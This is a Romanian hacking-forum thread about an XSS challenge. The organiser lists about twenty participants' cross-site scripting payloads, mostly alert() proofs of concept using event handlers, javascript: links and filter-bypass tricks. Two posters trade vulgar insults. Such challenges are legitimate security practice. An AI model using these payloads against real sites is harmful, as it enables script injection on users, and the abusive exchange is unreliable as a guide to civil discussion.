XSS challenge [easy-medium]

[Wish3r]

http://florin-darck.3owl.com/challenge/xss.php?x=35)%20%3Cscript%20~~~%3Ealert(7366673)%3C/script%20~~~%3E

[StoNe-]

http://florin-darck.3owl.com/challenge/xss.php?x=ieimuie

Alt colectionar de vectori. Intelegi macar ceva de acolo? Vrei sa pari interesant? Sa-ti dau muie.

[Wish3r]

Sa-ti iau familia la pula :> Am postat vectoru ca sa-l vada si alti care nu reusesc . Dar prostia omeneasca e mare...

[florin_darck]

Dupa cum v-am promis, postez si rezolvarile fiecaruia dintre voi pentru a vedea si ceilalti cum se rezolva etc, etc.

In ordinea PM-urilor primite.

1.H3xor - <input autofocus onfocus=alert(1)>

2.Danyweb - <Script>alert(1)</Script>

3.qwerty12 - <isindex action=javascript:alert(1) type=image>

4.adyttza26 - <script a="">alert(1)</script a>

5.Toshib4 - <input onfocus="alert(1)" autofocus onmouseover="alert(1)" style="display:block;position:absolute;height:100%;width:100%;opacity:0">

6.Th3me - <a onclick="alert(/th3z0n/)" href="">th3z0n</a>

7.Sega - <a href=javascript:alert(1)>ffffffffffffffff

8.jamik - <;/script>;<;script>;alert(1)<;/script>; [Works on chrome]

9.m1ndst1k - <scr<script>ipt>alert('RST XSS');</scr</script>ipt>

10.SilenTx0 - <a href=javascript:alert(1)>silent</a>

11.yo20063 - <a href=x onMouseover=alert('yo20063');><font color="green">yo20063</script>

12.yoyois - <SCRIiPt> alert("WTF Cel mai ciudat xss - @yoyois")</SCRiIPt> [Works on chrome]

13.hackerika - <a onclick="alert('hackerika')" href="">hackerika</a>

14.Renegade - <input onclick=alert("Renegade")>

15.Andys - <a onclick="alert('asd')" href="">asd</a>

16.StoNe- - <input type="text" onclick=alert(1)/>

17.Zeeko - <scriPt>alert('1')</scriPt>

18.StrXt - <a href='' onClick='javascript:alert(1);'>fuck it</a>

19.VaD_SuNeTe - <input type="text" AUTOFOCUS onfocus=alert(1)>

Vectorul cu care am testat eu prima data : <keygen/onfocus=alert(2) autofocus>

Felicitari tuturor care au reusit sa il rezolve.

Toate cele bune !

Challenge CLOSED !!!